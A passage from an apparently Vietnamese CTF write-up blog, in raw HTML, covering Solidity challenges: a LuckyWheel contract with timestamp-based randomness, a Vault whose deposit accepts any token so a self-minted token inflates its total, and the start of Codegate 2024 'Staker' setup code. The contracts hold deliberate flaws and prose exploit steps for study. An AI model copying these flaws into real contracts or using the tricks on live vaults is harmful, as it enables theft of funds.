&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">return&lt;/span> &lt;span class="n">size&lt;/span> &lt;span class="err">&amp;gt;&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="err">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">wannaLuck&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span> &lt;span class="n">seed&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="n">onlyEOA&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">value&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">1&lt;/span> &lt;span class="kc">ether&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;LuckyWheel: INVALID_AMOUNT&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">random&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kt">uint256&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">keccak256&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">abi&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">encodePacked&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">seed&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">block&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">timestamp&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">)));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">random&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="mi">100&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">closed&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Với bài này, ta cần làm cho biến &lt;code>closed&lt;/code> trả về true là được. Để làm như vậy thì chỉ cần gọi hàm &lt;code>wannaLuck&lt;/code> với &lt;code>seed = 1&lt;/code> cho đến khi &lt;code>random % 100 == 0&lt;/code>.&lt;/p>
&lt;p>&lt;img src="https://giapppp.github.io/images/blockchain-thingies/blockchain-thingies_3.png" alt="image">&lt;/p>
&lt;h3 id="basic-vault">Basic Vault&lt;/h3>
&lt;p>&lt;code>setup.sol&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: UNLICENSED
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">20&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;./WannaETH.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;./PhantomToken.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;./Vault.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Setup&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">WannaETH&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="k">immutable&lt;/span> &lt;span class="n">weth&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">PhantomToken&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="k">immutable&lt;/span> &lt;span class="n">pmt&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Vault&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="k">immutable&lt;/span> &lt;span class="n">vault&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">constructor&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">weth&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="n">WannaETH&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">pmt&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="n">PhantomToken&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">vault&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="n">Vault&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">payable&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">weth&lt;/span>&lt;span class="p">)),&lt;/span> &lt;span class="k">payable&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">pmt&lt;/span>&lt;span class="p">)));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">weth&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">approve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">vault&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">pmt&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">approve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">vault&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">vault&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">deposit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">weth&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">vault&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">deposit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">pmt&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">isSolved&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="k">view&lt;/span> &lt;span class="k">returns&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">bool&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">vault&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">totalDeposited&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="n">_000&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="mi">10&lt;/span> &lt;span class="o">**&lt;/span> &lt;span class="mi">18&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>vault.sol&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: UNLICENSED
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">20&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;@openzeppelin/contracts/token/ERC20/IERC20.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;./WannaETH.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;./PhantomToken.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Vault&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">WannaETH&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="k">immutable&lt;/span> &lt;span class="n">weth&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">PhantomToken&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="k">immutable&lt;/span> &lt;span class="n">pmt&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">totalDeposited&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">mapping&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="o">=&amp;gt;&lt;/span> &lt;span class="kt">uint256&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">deposited&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">constructor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="n">_weth&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">address&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="n">_pmt&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">weth&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">WannaETH&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_weth&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">pmt&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">PhantomToken&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_pmt&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">deposit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">asset&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">amount&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Vault: ZERO&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">IERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">asset&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">balanceOf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;gt;=&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Vault: INSUFFICIENT_WETH&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">deposited&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">totalDeposited&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">bool&lt;/span> &lt;span class="n">success&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">IERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">asset&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">transferFrom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">success&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Vault: TRANSFER_FAILED&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">withdraw&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">asset&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">amount&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Vault: ZERO&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">deposited&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">&amp;gt;=&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Vault: INSUFFICIENT_DEPOSIT&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">deposited&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">-=&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">totalDeposited&lt;/span> &lt;span class="o">-=&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">bool&lt;/span> &lt;span class="n">success&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">IERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">asset&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nb">transfer&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">success&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Vault: TRANSFER_FAILED&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">claimFaucet&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">weth&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">transfer&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">pmt&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">transfer&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Trong bài này, ta cần làm cho số lượng token của vault &amp;gt; &lt;code>1000 * 1e18&lt;/code>&lt;/p>
&lt;p>Chú ý rằng vault không check ta sử dụng token nào, vì vậy ta có thể generate một token ngẫu nhiên nào đó và mint cho bản thân một số lượng lớn, sau đó chỉ cần deposit vào vault là được&lt;/p>
&lt;h2 id="codegate-2024">Codegate 2024&lt;/h2>
&lt;h3 id="staker">Staker&lt;/h3>
&lt;p>&lt;code>setup.sol&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: UNLICENSED
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">25&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="n">Token&lt;/span>&lt;span class="p">}&lt;/span> &lt;span class="k">from&lt;/span> &lt;span class="s">&amp;#34;./Token.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="n">LpToken&lt;/span>&lt;span class="p">}&lt;/span> &lt;span class="k">from&lt;/span> &lt;span class="s">&amp;#34;./LpToken.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="n">StakingManager&lt;/span>&lt;span class="p">}&lt;/span> &lt;span class="k">from&lt;/span> &lt;span class="s">&amp;#34;./StakingManager.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Setup&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">StakingManager&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">stakingManager&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Token&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">token&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">constructor&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">token&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="n">Token&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">stakingManager&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="n">StakingManager&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">token&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">token&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">transfer&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stakingManager&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">86400&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="n">e18&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">token&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">approve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stakingManager&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">100000&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="n">e18&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">stakingManager&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">stake&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">100000&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="n">e18&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">withdraw&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">token&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">transfer&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">token&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">balanceOf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">)));&lt;/span>
